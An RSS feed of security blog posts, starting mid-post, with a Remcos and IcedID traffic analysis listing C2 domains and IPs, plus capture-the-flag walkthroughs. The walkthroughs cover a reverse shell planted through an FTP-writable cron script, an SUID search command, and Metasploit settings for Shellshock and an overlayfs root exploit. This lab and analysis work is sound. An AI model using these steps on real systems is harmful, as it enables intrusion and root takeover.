calient.jpg file is actually a javascript file, with a DLL contained inside of it. This is described in an article from InQuest (<a href="https://inquest.net/blog/2022/01/24/analysis-remcos-rat-dropper">https://inquest.net/blog/2022/01/24/analysis-remcos-rat-dropper</a>), and in short, this DLL is the final Remcos RAT payload.</p><h4><strong>Command &amp; Control (C2)</strong></h4><p>Following the installation of the final Remcos RAT payload, a clear pattern of C2 traffic is observable between the victim machine and a domain, “shiestynerd.dvrlists.com” at IP address 79.134.225.79.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vh0szK3RmKC2gAgumayOpg.png" /><figcaption>C2 traffic following installation of Remcos RAT.</figcaption></figure><p>This domain and IP address are identified as being malicious by 11 vendors on virustotal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*Mj_MrGlfiviGqOMbuw_GYQ.png" /><figcaption>Virustotal results for the C2 domain.</figcaption></figure><h3>Conclusion</h3><p>Thank you for taking the time to read my blog post! I hope you enjoyed it and got some value from it. If you did, please follow me and share this post. Also, special thanks to Dmitry Melikov from InQuest for his awesome article detailing a very similar analysis. Come back soon!</p><p><em>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. </em><a href="https://weekly.infosecwriteups.com/"><strong><em>Join our weekly newsletter</em></strong></a><em> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c9b6bfd7139" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/analyzing-a-remcos-rat-infection-5c9b6bfd7139">Analyzing a Remcos RAT Infection</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Traffic Analysis Exercise | Burnincandle | IcedID Malware]]></title>
            <link>https://infosecwriteups.com/malware-traffic-analysis-exercise-burnincandle-icedid-malware-67e78ef1d46c?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/67e78ef1d46c</guid>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tcp-ip]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Sat, 09 Jul 2022 19:44:27 GMT</pubDate>
            <atom:updated>2022-08-05T04:57:32.839Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*naksC-4VNjlitK40.jpg" /><figcaption><a href="https://www.malware-traffic-analysis.net/2022/03/21/index3.html">https://www.malware-traffic-analysis.net/2022/03/21/index3.html</a></figcaption></figure><p>Welcome! Today I will be going over another malware traffic analysis exercise from <a href="https://www.malware-traffic-analysis.net/">https://www.malware-traffic-analysis.net/</a> which I recently completed. This one is called Burnincandle. This post will include an executive summary, details of the infected host, indicators of compromise (IOC’s), and a technical summary where I will explain how I did my analysis and what indicators I based my conclusions off of.</p><h3><strong>Executive Summary</strong></h3><p>At approximately 2058 UTC on 21 March 2022, a Windows host used by “patrick.zimmerman” was infected with IcedID malware. After initial infection, a cobalt strike command and control (C2) beacon was established on the victim.</p><h3>Infected Host Details</h3><ul><li>IP address: 10.0.19.14</li><li>MAC address: 00:60:52:b7:33:0f</li><li>Hostname: DESKTOP-5QS3D5D</li><li>Username: patrick.zimmerman</li></ul><h3>Indicators of Compromise (IOC’s)</h3><p><strong>Network traffic associated with initial IcedID infection:</strong></p><ul><li>HTTP GET request — 188.166.154.118:80 — oceriesfornot.top</li><li>HTTPS traffic — 157.245.142.66:443 — antnosience.com, otectagain.top</li><li>HTTPS traffic — 91.193.16.181:443 — seaskysafe.com, dilimoretast.com</li><li>HTTPS traffic — 160.153.32.99:443 — suncoastpinball.com</li></ul><p><strong>Network traffic associated with file sharing:</strong></p><ul><li>HTTPS traffic — 185.47.40.36:443 — filebin.net</li><li>HTTPS traffic — 87.238.33.7:443, 87.238.33.8:443 — situla.bitbit.net</li></ul><p><strong>Network traffic associated with cobalt strike command and control (C2):</strong></p><ul><li>HTTPS traffic — 23.227.198.203:757 — bupdater.com</li></ul><h3><strong>Technical Analysis</strong></h3><p>The very first thing I do when completing these exercises is look at the suricata IDS/IPS alerts in my security onion console in order to get an idea of what I’m dealing with, as well as decide how I want to direct my analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PLhHSdH7fY9dNTwEUStbRg.png" /><figcaption>Suricata IDS/IPS alerts in security onion.</figcaption></figure><p>Based on the alerts present, I’m hypothesizing that the first two alerts “ET MALWARE Win32/IcedID Request Cookie”, and “ET INFO HTTP Request to a *.top domain” are probably alerting on the same HTTP request. This is based on the fact that both of them only alerted once. Since we’re talking about an “IcedID request cookie”, the victim is probably only going to make one HTTP GET request to the malicious domain where the IcedID malware is originating from, hence the single instance for both alerts. But lets not spend too much time on theoreticals.</p><p>Digging into the IcedID request cookie alert, I see an HTTP GET request with some odd looking data in the cookie parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T76iOPZnRItQlc8s_h8cqw.png" /><figcaption>IcedID request cookie alert. Note the odd data in the cookie parameter of the HTTP request.</figcaption></figure><p>I did some research to learn more about this, and came across an article (<a href="https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html">https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html</a>), which describes the meaning of each value within the cookie parameter. In short, this cookie is used to store encoded data about the victim host, including the hostname, username, windows version, etc. So I had clear evidence now that the threat actor was able to enumerate some information about the victim host, but I also found the first IOC, as the oceriesfornot.top domain and IP are identified as being malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xnf4t7c47c4DfUV_hii3aw.png" /><figcaption>Virustotal results for the oceriesfornot.top domain.</figcaption></figure><p>I also confirmed that my suspicions of the “IcedID request cookie” alert and the “HTTP request to *.top domain” alert were both triggered from the same traffic, the GET request sent to oceriesfornot.top.</p><p>Immediately following the “IcedID request cookie” alert, the victim IP is observed establishing an HTTPS connection with the domain antnosience.com at IP address 157.245.142.66, which is also identified as being malicious in virustotal. This gives me my second IOC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HJDgRYLiGRT7Yz5yQKME8A.png" /><figcaption>Virustotal results for 157.245.142.66 IP address.</figcaption></figure><p>At this point, I decided that I needed to pivot off and open up networkminer to see if any interesting file information can be extracted from the pcap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lV6eU7lvjDDIu7BXfL15Eg.png" /><figcaption>Networkminer is able to show an analyst what files traversed the network in a pcap file. In this case, index.gzip</figcaption></figure><p>Networkminer turned my attention to a file called “index.gzip”. The gzip suffix indicates that the file is compressed using the gzip tool. Compressing malicious documents is a common tactic used by attackers in an attempt to avoid detection by AV, IDS, IPS, etc., so this seemed interesting to me. Now that I had this information, I went into wireshark and found the TCP stream where the index.gzip file was sent over the network. In TCP stream 0, I found that the original, uncompressed file’s name is Copper.txt. At least that’s what I thought…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTIvjg4ycGVPm00sXGaXrg.png" /><figcaption>Note the content type parameter in the server response indicating that it is a gzip compressed file. Also note the “Copper.txt” string in the TCP data.</figcaption></figure><p>Now that I had found this gzip file, I did some research relating to IcedID and gzip files. Very quickly, I realized that there was far more to this infection than I had realized at this point. Essentially, the “Copper.txt” string is just a facade. In fact, there isn’t really a file here at all, all of this data is basically just encrypted IcedID configuration. Once decrypted, the malware drops a file named license.dat into a folder specified by the malware configuration, within the current user’s Appdata\Roaming directory. It also drops the IcedID main loader into the Appdata\Local\ directory. This main loader is then used to load the IcedID payload (inside license.dat) into memory and run it. You can read much more about how this all works in this article from binarydefense.com (<a href="https://www.binarydefense.com/icedid-gziploader-analysis/">https://www.binarydefense.com/icedid-gziploader-analysis/</a>).</p><p>Now that I had essentially nailed down the source of the infection, I needed to turn my attention back towards generating IOC’s. Looking back in wireshark, I noticed that there was a large number of TLS handshakes occurring between the victim IP and external IP’s, and that the source port numbers from the victim IP were being rotated through very quickly. Making so many new connections in such short timespans is definitely unusual. I also remembered seeing an IDS/IPS alert for “OpenSSL Demo CA — Internet Widgits Pty”, indicating that some type of weirdness was happening with SSL/TLS certificates generated by OpenSSL. This alert is triggered because these Internet Widgits TLS certificates are self-signed and should not be trusted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uc1hygByTS4xPb3vCFaEbQ.png" /><figcaption>Note the “Internet Widgits string” in the TCP data from a TLS certificate sent to the victim IP by the “antnosience.com” domain.</figcaption></figure><p>From here, I filtered for these Internet Widgits TLS certificates in networkminer to find the rest of the malicious IP’s and domains associated with this IcedID malware infection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xXo1Wk6zGOYA-x4N14iuaA.png" /><figcaption>Filtering for “Internet Widgits” TLS certificates.</figcaption></figure><p>The victim IP was also observed making multiple odd new TLS connections with the suncoastpinball.com domain at 160.153.32.99:443, giving me another IOC. This domain’s SSL certificate is not self-signed however, it’s a godaddy certificate.</p><p>Continuing to comb through networkminer and wireshark, I was not seeing any additional activity related to the self-signed Internet Widgits TLS certificates. I decided to filter for DNS traffic in wireshark, as DNS traffic can reveal what domains and IP addresses threat actors are using to conduct their malicious activities. With this filter applied, I noticed that the victim IP made three DNS requests for interesting sounding domains in a relatively short timespan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLZu9UwGS68xUwNN_gwl5w.png" /><figcaption>Victim IP making DNS requests for two file sharing websites, filebin.net and situla.bitbit.net.</figcaption></figure><p>The filebin.net and situla.bitbit.net domains are both file sharing sites, and the following connections to both domains were fairly short lived, less than 10 seconds each. This could be possible data exfiltration, or it could be the malware reaching out to retrieve additional resources to drop onto the victim, but that is unclear right now. If I had the TLS private key from the victim, I could decrypt this traffic in wireshark and learn a lot more about what is actually being sent over the network, but for this exercise, I do not have the victim private key.</p><p>In the image above, there is also a third domain being queried, bupdater.com. Filtering for this domain’s IP address in wireshark reveals a very interesting pattern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQQMoj177cqcrlNQ5zkL8g.png" /><figcaption>Note the short lived TLS connections occurring over sequential ephemeral ports.</figcaption></figure><p>There are numerous, often short lived, TLS connections occurring between the victim IP and the bupdater.com IP. Something else interesting to note in the image above is the TCP acknowledgement numbers at the end of each connection. At the end of many (but not all) of the connections, the acknowledgement number is 3718, or some value very close to that. This is interesting because it indicates that only a fixed amount of TCP data is being sent over the network in these connections. In other words, this looks like C2 heartbeat activity where the victim is establishing a connection to the C2 server and sending out periodic pings with specified data lengths, in our case 3717 bytes. The victim is then checking for any instructions supplied by the attacker. If there are instructions, the victim will retrieve them and carry them out.</p><p>In this case, the bupdater.com domain and IP address are also identified as malicious, and even specifically identified by the community as a cobalt strike C2 server. I was then able to conclude that the threat actor used the initial access provided by the IcedID infection to establish cobalt strike C2 on the victim. At this point, in a real investigation, it would probably be most useful to do some endpoint forensics to generate additional host-based IOC’s like file hashes.</p><h3><strong>Conclusion</strong></h3><p>This was a great exercise to learn more about IcedID malware. I was a little bit familiar with IcedID before this exercise, but I am definitely much more aware now of how the malware operates and what artifacts it produces. I also learned a new pattern to look for in pcap files to possibly identify C2 traffic. I will be continuing to experiment with observing patterns in the TCP acknowledgement number, and see if this is something that I can use more often to identify C2 traffic.</p><p>Thank you for visiting my blog! If you enjoyed this post, please give me a follow and share this post!</p><p><em>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. </em><a href="https://weekly.infosecwriteups.com/"><strong><em>Join our weekly newsletter</em></strong></a><em> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67e78ef1d46c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/malware-traffic-analysis-exercise-burnincandle-icedid-malware-67e78ef1d46c">Malware Traffic Analysis Exercise | Burnincandle | IcedID Malware</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Anonymous Writeup]]></title>
            <link>https://medium.com/@aaron_199/tryhackme-anonymous-writeup-45043b784e35?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/45043b784e35</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[smb]]></category>
            <category><![CDATA[cronjob]]></category>
            <category><![CDATA[shell-script]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Tue, 05 Jul 2022 19:27:43 GMT</pubDate>
            <atom:updated>2022-07-05T19:27:43.714Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P-S4PR3WImee_mET.jpeg" /></figure><h3>Introduction</h3><p>Anonymous is a medium level room on TryHackMe, with 4 tasks and 2 flags. The room includes exploitation of FTP, SMB, cron jobs, and SUID binaries. This post will detail the steps I took to complete the room as well as my thought process throughout the completion of the room.</p><p>Anonymous on TryHackMe: <a href="https://tryhackme.com/room/anonymous">https://tryhackme.com/room/anonymous</a></p><h3>Enumeration and Tasks</h3><p>In this particular room, all four of the non-flag tasks can be completed just from basic enumeration of the target machine. To start, I ran a <a href="https://github.com/RustScan/RustScan">rustscan</a> port scan against the target. I like to use rustscan when doing CTF’s because it combines the utility of nmap with the speed that is achievable in a programming language like rust. After running rustscan against the target, I was presented with the following results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1jnldogkfiblBuC5" /><figcaption>Rustscan output.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8Xy2UBQwy40gj_tF" /><figcaption>Rustscan output.</figcaption></figure><p>Looking at these results, I found the open ports along with what services were running on those ports, allowing me to complete tasks 1–3.</p><p>Going back to the scan output, we see that the FTP service is allowing anonymous login. Interesting. Knowing this, I accessed FTP using the credentials guest:ftp. Once logged in, I used the ls command to list the current directory. This returned a “scripts” subdirectory, which contained three files, a “clean.sh” bash script, a “removed_files.log” log file, and a “to_do.txt” text document. Using get &lt;filename&gt;, I retrieved all three files to my local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ec-SFepa8S41oVoF" /><figcaption>Retrieving files from FTP.</figcaption></figure><p>Viewing these files gave me some information that, at first, I thought might be just a distraction from the intended attack vector. The clean.sh bash script is a pretty straightforward script that looks for files in the tmp directory of the local machine it is running on. If there aren’t any files in the tmp directory, it echoes a message stating that there are no files to delete to the removed_files.log file that I saw in the scripts directory of the FTP service. If there are files to delete, it deletes them and then echoes a message to the removed_files.log stating what files were deleted. Again, I initially overlooked this as a distraction, but it actually ended up being very important later on. The to_do.txt file didn’t contain any important information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZqdEGDfXUEQMMRFh" /><figcaption>clean.sh script.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ar-PLzPVXPMwpwuV" /><figcaption>removed_files.log</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fRMnwkPDSwzoLhaN" /><figcaption>to_do.txt</figcaption></figure><p>At this point, I was done enumerating FTP and was ready to move on to the next port and service. Looking back at the rustscan output, we see that the next service is SSH on the default port of 22. Unfortunately, I didn’t have a username or password to access SSH. I could’ve maybe used the username “anonymous” and the rockyou.txt wordlist in a brute-forcing tool like hydra, but I thought that there was no way it would be that easy so I moved on.</p><p>The next two services I saw running were NetBIOS on port 139 and SMB on port 445. NetBIOS allows computers on a network to communicate with each other. SMB is a protocol which allows computers to share resources and files with each other. SMB and NetBIOS can both be read about here: <a href="https://visualitynq.com/resources/articles/what-is-smb/">https://visualitynq.com/resources/articles/what-is-smb/</a> and here: <a href="https://www.lifewire.com/netbios-software-protocol-81822">https://www.lifewire.com/netbios-software-protocol-81822</a></p><p>Using <a href="https://github.com/ShawnDEvans/smbmap">smbmap</a>, I was able to enumerate the SMB shares on the target machine, finding a “pics” share which allowed for guest read access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3809ayn0F9Pq796_" /><figcaption>smbmap output.</figcaption></figure><p>Knowing that I could access the “pics” share with a guest logon, I then used smbclient to access the share. I found two files, corgo2.jpg and puppos.jpeg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5G61YzIU7Jcq_8-z" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*JVFzinfra9iNV0zT" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*_rwQHQvs6aS4w2I1" /></figure><p>Getting the files and viewing them on my machine didn’t yield any results other than a couple smiles from seeing corgi’s. Who doesn’t love corgis? I used <a href="https://github.com/StefanoDeVuono/steghide">steghide</a> to see if maybe there was some message hidden in the images, but I didn’t have a passphrase to use. Time to move on.</p><h3>Exploitation and Initial Access</h3><p>At this point, I knew that SMB wouldn’t get me any closer to initial access, so I went back to the files I found in the FTP service. I looked over the “clean.sh” script and “removed_files.log” file again and realized that the script was probably a cron job based on the multiple lines of text in the log file. If this is the case, I could write a reverse shell bash script, name it clean.sh, then upload it to the FTP service, and get a netcat reverse shell on the target machine when it runs the reverse shell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q-EeZGCE-stSzFG3" /><figcaption>New clean.sh script with bash reverse shell</figcaption></figure><p>I spawned a netcat listener on the port that I specified in the bash reverse shell and waited about a minute before connecting to the target machine. As soon as I connected, I set the TERM environment variable to xterm using “export TERM=xterm”. This allows me to use commands like clear in order to clean up the terminal when it gets cluttered. I was then able to get the user flag with “cat user.txt”.</p><h3>Privilege Escalation</h3><p>After getting the user flag, I now needed to find a way to escalate my privileges in order to get the root flag. One of the first steps I almost always take after getting user access to a target machine is to search for SUID binaries, as this seems to be a fairly common PE vector in my experience. I use “find / -perm -4000 -type f 2&gt;/dev/null” to find any binaries with the SUID bit set and write any errors to the /dev/null directory. I get several results, with one really grabbing my interest: env. Using <a href="https://gtfobins.github.io/">GTFOBins</a>, I found that the env binary with SUID set could be used to escalate to root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nIMjKbVpAvEvm6Zr" /><figcaption>Escalating privileges using the env binary.</figcaption></figure><p>With privileges escalated to root, I was then able to cat the root.txt flag, completing the room.</p><h3>Conclusion and Takeaways</h3><p>In closing, this was a very enjoyable room for me to complete. It reinforced to me that it is important to enumerate everything and gain as much information as possible about the target machine before launching an attack. I initially didn’t pay enough attention to the clean.sh script and removed_files.log, but once I came back to them after further enumeration, I then fully realized what I was looking at and how I could exploit it to my advantage. Enumerate, enumerate, and then enumerate some more.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45043b784e35" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | 0day Writeup]]></title>
            <link>https://medium.com/@aaron_199/tryhackme-0day-writeup-2683e9b2cd05?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/2683e9b2cd05</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[overlayfs]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[shellshock]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Tue, 05 Jul 2022 19:23:13 GMT</pubDate>
            <atom:updated>2022-07-05T19:23:13.993Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sZ7Td7ygSyUSYm00.jpeg" /><figcaption>Photo by Pixabay on <a href="https://www.pexels.com/photo/blur-bright-business-codes-207580/">Pexels.com</a></figcaption></figure><h3>Introduction</h3><p>0day is a medium level room on tryhackme, with one user flag and one root flag. The room will require solid enumeration of the target, and the exploitation of two published CVE’s. This post will detail the steps I took to complete the room as well as my thought process throughout the completion of the room. Follow along and enjoy!</p><p>0day on TryHackMe: <a href="https://tryhackme.com/room/0day">https://tryhackme.com/room/0day</a></p><h3>Initial Scans and Enumeration</h3><p>Starting off, we run rustscan against the target ip with this command: rustscan -a &lt;machine-ip&gt; -r 1–65535 -b 3500 — -A</p><p>The command above tells rustscan to scan the machine ip through the entire range of 65535 ports, with a batch size of 3500. Batch size is the number of ports that rustscan will scan simultaneously. You can read more about rust here: <a href="https://github.com/RustScan/RustScan">https://github.com/RustScan/RustScan</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8Hv8yHfNDZ5DS6HZ.png" /><figcaption>Rustscan output.</figcaption></figure><p>Looking through the rustscan results, we see that there are only two ports open: 22 (SSH) and 80 (http). Lets do some more enumeration on port 80. I put the ip address of the machine into my browser and get this webpage presented to me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0tOqYj2TmJSQt26V.png" /><figcaption>0day webpage.</figcaption></figure><p>This page basically just contains links to the machine creator’s different social meda sites, github, etc, so nothing immediately sticks out, but we still have to continue enumerating. Viewing the source code of the webpage doesn’t reveal anything to exploit.</p><p>At this point, it’s a good idea to run a directory enumeration tool like dirsearch, as well as a web vulnerability scanner like nikto.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1NlGjMlCt7mZm6hI" /><figcaption>Dirsearch ouput.</figcaption></figure><p>While we let nikto continue to run, we can check out some of these directories found by dirsearch. Navigating to the admin subdirectory, we get a blank page with nothing at all in the source code. Odd. The secret subdirectory gives us a little hint with a picture of a turtle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DFkuBg5zORG_quBz.png" /><figcaption>“secret” subdirectory.</figcaption></figure><p>Hmm… ok. When we started the machine on tryhackme, the decription said “Exploit Ubuntu, like a Turtle in a Hurricane”. So this is obviously trying to lead us somewhere. Let’s keep note of that and look at what nikto got for us. I actually had to go back and re run the nikto scan on the machine because my screenshot disappeared somehow. Oh well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*utlO4qj6tM_QgQHE.png" /><figcaption>Nikto output.</figcaption></figure><p>This nikto output clearly tells us to look into the shellshock vulnerability. It also references the cgi-bin subdirectory that we saw from dirsearch earlier. Now, before taking on this room, I had heard of the shellshock vulnerability but I was not totally familiar with it. After doing some research, I found that the cgi-bin subdirectory is essentially a place where the web server stores scripts that it needs. In short, the shellshock vulnerability allows an attacker to manipulate environment variables in ways that allows for remote command execution. You can read much more about shellshock here: <a href="https://securityintelligence.com/articles/shellshock-vulnerability-in-depth/">https://securityintelligence.com/articles/shellshock-vulnerability-in-depth/</a></p><h3>Exploitation</h3><p>Knowing what we now know, we can search to see if there is a shellshock module we can use on metasploit. I think it’s a good idea to search for modules on metasploit when exploiting well known vulnerabilities. as it can help save some time. However, when doing CTF’s for learning purposes, it’s also a good idea to sometimes explore the more manual methods of exploitation. For this particular CTF though, I went to metasploit. We can open metasploit with the command “msfconsole”, then use “search shellshock” to find a shellshock module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iSoljABU76ST6nf2.png" /><figcaption>Searching for shellshock modules on metasploit.</figcaption></figure><p>The second module, “exploit/multi/http/apache_mod_cgi_bash_env_exec” looks promising. Let’s select it with the command “use 1” and then list the module options with the command “options”. Ok, that gives a lot of options, but we’re about to walk through it together.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X4ZICjsR8zAmQ-rf.png" /><figcaption>Metasploit shellshock module options.</figcaption></figure><p>Ok, lets walk through setting the options for this module. The first option to set is “RHOSTS”. This will be set to the ip address of the target machine with the command “set rhosts &lt;machine ip&gt;”. Then you can move all the way down to the targeturi option. This option requires a path to an existing cgi file. Luckily, there is already a test.cgi file in the cgi-bin subdirectory. Set the targeturi option with the command “set targeturi /cgi-bin/test.cgi”. Now moving down to the lhost option, set it with the command “set lhost &lt;youripaddress&gt;, and that’s it!. Now type “run” and wait for about 20 seconds or so, and you should now have a meterpreter shell. Type “shell”, and you are on your way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zb52Y-tInZRENLm1.png" /><figcaption>Retrieving the user flag.</figcaption></figure><p>Once you have the shell up and running, it is fairly straightforward to retrieve the user flag. You’ll have navigate back out of a few subdirectories using the “cd ..” command. Once you have reached the root directory, navigate to the home subdirectory with “cd home”, use the “ls” command to list the contents of the subdirectory, cd to ryan, then use “cat user.txt” to get the user flag!</p><h3>Privilege Escalation</h3><p>To find out which kernel the target is running, we can use the “uname -a” command, which reveals Linux ubuntu 3.13.0. With that information, we can use google to find information on kernel exploits that we could use to escalate our privileges. From our search, we find a local privilege escalation vulnerability. <a href="https://www.exploit-db.com/exploits/37292">https://www.exploit-db.com/exploits/37292</a></p><p>The vulnerability takes advantage of weaknesses in overlayfs. Overlayfs is a mechanism by which linux systems can mount multiple mount points into one, basically merging directories and subdirectories. You can read more about overlayfs here: <a href="https://www.educative.io/edpresso/what-is-overlayfs">https://www.educative.io/edpresso/what-is-overlayfs</a></p><p>We can again use metasploit, this time to search for an overlayfs privilege escalation module. First though, go back to the shell, type “exit” and then type “background” in the meterpreter line. This will allow you to search metasploit for other modules while keeping your shell alive and allowing you to come back to it later. Now search “overlayfs”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zm1ExcvP0HXdXvSj.png" /></figure><p>Select the module and lets start setting the options for the exploit. First, type “show targets” to list the specific target vulnerabilities that the module is able to use, and set it to option 0, CVE-2015–1328. This is the specific CVE pertaining to the linux kernel of the target machine, Linux ubuntu 3.13.0. Set the lhost option to your ip address. Now type “sessions” to confirm the id of the meterpreter shell session you have in the background, then set the session option to that session id number. Ex: set session 1. Now run the module. You should be presented with a new shell, with root access. Use “cd ..” again to move back in subdirectories until you reach the root directory, cd into the root subdirectory, then retrieve the root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RDqY7xCycZ4MsE58.png" /><figcaption>Retrieving the root flag.</figcaption></figure><h3>Conclusion and Takeaways</h3><p>Overall, this was an enjoyable machine to exploit. I learned some new things about the shellshock vulnerability as well as the overlayfs privilege escalation vulnerabilities that are present on some linux kernels. This reinforces the need to fully enumerate the target not only before gaining initial access, but also upon gaining that initial access. The enumeration you do upon initial access should include finding what kernel the target is running, searching for SUID and SGID binaries, etc. But gather a lot of information about the target system before you try firing away some privilege escalation exploit.</p><p>I hope you enjoyed this writeup and got some value from it, and I hope you come back to read some more writeups/blog posts in the future as well. Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2683e9b2cd05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub | Healthcare 1 Writeup]]></title>
            <link>https://medium.com/@aaron_199/vulnhub-healthcare-1-writeup-ad20e55be2df?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad20e55be2df</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[openemr]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Tue, 05 Jul 2022 19:17:14 GMT</pubDate>
            <atom:updated>2022-07-05T19:17:14.340Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2Kz49Ct86TjoTBJt.jpeg" /><figcaption>Photo by Gustavo Fring on <a href="https://www.pexels.com/photo/person-wearing-blue-sterile-gloves-3985168/">Pexels.com</a></figcaption></figure><h3>Introduction</h3><p>Healthcare: 1 is an intermediate level VM from Vulnhub. If you aren’t familiar with Vulnhub, it is a great resource which provides virtual machines created by other users that you can download and attack to practice and learn hacking skills in a controlled and legal environment. This particular machine is intended to provide a scenario that would be similar to that of an OSCP machine. The main techniques in the completion of this machine include SQL injection, webshells, and PATH variable manipulation. This post will detail the steps I took to complete the room as well as my thought process throughout the completion of the room. Follow along and enjoy!</p><p>Healthcare: 1 is linked here: <a href="https://www.vulnhub.com/entry/healthcare-1,522/">https://www.vulnhub.com/entry/healthcare-1,522/</a></p><h3>Initial Scans and Enumeration</h3><p>Just like any other CTF/boot2root challenge, or real life attack for that matter, one of the first steps will be to conduct port/service scanning to enumerate what services our target is running and what methods we can apply to attack those services.</p><p>We will run the command “rustscan -a &lt;machine-ip&gt; -r 1–65535 -b 3500 — -A” to scan the target ip for open ports. If you don’t have rustscan or just don’t want to use rustscan, you can use the command “nmap -sS -A &lt;target-ip&gt;. This would be a good time to note that rustscan would not always be a good port scanning tool to run in a real world environment if you were performing a penetration test, as it’s speed can be very intrusive and actually cause devices to crash during port scanning. For CTF’s and boot2root’s, though, it is great.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nT_WkKOt7DFi83E8" /><figcaption>Rustscan output</figcaption></figure><p>Our rustscan output tells us that the target machine is running the FTP service ProFTPD 